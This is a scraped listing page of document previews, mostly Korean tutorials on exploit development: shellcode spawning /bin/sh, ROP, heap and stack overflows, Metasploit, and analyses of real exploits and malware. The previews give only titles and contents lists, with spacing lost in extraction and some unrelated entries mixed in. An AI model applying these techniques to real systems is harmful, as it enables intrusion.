02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770>

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770> Parse and Parse Assembly ( 어셈블리어입문자를위한 어셈블리어자료들의모음 ) ## 목차 ## 0x01. ----------Introduce----------- 0x02. 어셈블리언어란? & 배우는목적 0x03. 어셈블리언어를위한기본지식 0x04. 어셈블리명령어의구성 0x05. 주소지정방식의이해 0x06. 어셈블리명령어정리 0x07. 어셈블리명령어상세

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균 취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] 2012-08-02 RedAlert Team 봉용균 목 차 1. 개요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 1 1.4. 대상시스템... 1 2. 공격... 2 2.1. 시나리오... 2 2.2. 대상프로그램... 2 2.3.

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information

Heap Overflow By WraithOfGhost

Heap Overflow By WraithOfGhost Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah

More information

Microsoft Word - Exploit writing tutorial part 1.doc

Microsoft Word - Exploit writing tutorial part 1.doc Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 (http://packetstormsecurity.org/0907-exploits/)

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 3.20 테러 악성코드바이너리분석 손충호 (StolenByte) stolenbyte@wowhacker.org WOWHACKER Group 2013-03-20 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 전체적인공격프로세스 페이지 2 / 20 1. 바이너리가사용할 LoadLibrary 하여함수 Load

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

(SW3704) Gingerbread Source Build & Working Guide

(SW3704) Gingerbread Source Build & Working Guide (Mango-M32F4) Test Guide http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Evernote Export

Evernote Export Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Exploit writing tutorials

Exploit writing tutorials EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

hd1300_k_v1r2_Final_.PDF

hd1300_k_v1r2_Final_.PDF Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice

More information

일반적인 네트워크의 구성은 다음과 같다

일반적인 네트워크의 구성은 다음과 같다 W5200 Errata Sheet Document History Ver 1.0.0 (Feb. 23, 2012) First release (erratum 1) Ver 1.0.1 (Mar. 28, 2012) Add a solution for erratum 1, 2 Ver 1.0.2 (Apr. 03, 2012) Add a solution for erratum 3

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Reverse Engineering Basics IA32 Basics CPU(Central Processing Units) 의구조 ALU Register EAX s EBX ECX EDX ESI EDI ESP EBP Control Unit EIP IR Eflags I/O Unit Data Bus Address Bus IA32 Register What is Register?

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex

Heap Overflows For Humans 101  우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex Heap Overflows For Humans 101 xptr33@gmail.com candypython@gmail.com 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to execute a write 4 primitive 그전까지는해커들은스택오버플로우에서예외처리루틴을호출시키든어떤방법으로든

More information

자바-11장N'1-502

자바-11장N'1-502 C h a p t e r 11 java.net.,,., (TCP/IP) (UDP/IP).,. 1 ISO OSI 7 1977 (ISO, International Standards Organization) (OSI, Open Systems Interconnection). 6 1983 X.200. OSI 7 [ 11-1] 7. 1 (Physical Layer),

More information

AsProtect MUP

AsProtect MUP 2013-06-18 Lazly 목차 1. 목적 3 0x01. 문서의목적. 3 0x02. 문서에서다루는내용 3 2. 프로그램설명.. 4 0x01. AsProtect 설명. 4 3.... 5 0x01. Find OEP... 5 0x02. DUMP.. 7 0x03. 에러발생.. 9 0x04. 에러확인.. 11 4. 자동화기법. 14 0x01. 빈공간찾기. 14 0x02.

More information

Codegate Preliminary Match Repot

Codegate Preliminary Match Repot Codegate Preliminary Match Repot - 2008 Historymaker 소개글 Code gate - 2008 뭐알아서참고.. ㅡㅡ ;;; 목차 1 4 2012.06.15 20:19 ================================================================== / Codegate Preliminary

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

Computer Architecture

Computer Architecture 명령어의구조와주소지정방식 명령어세트명령어의형식주소지정방식실제명령어의형태 이자료는김종현저 - 컴퓨터구조론 ( 생능출판사 ) 의내용을편집한것입니다. 2.4 명령어세트 (instruction set) 어떤 CPU 를위하여정의되어있는명령어들의집합 명령어세트설계를위해결정되어야할사항들 2 연산종류 (operation repertoire) CPU 가수행할연산들의수와종류및복잡도

More information

Chapter ...

Chapter ... Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

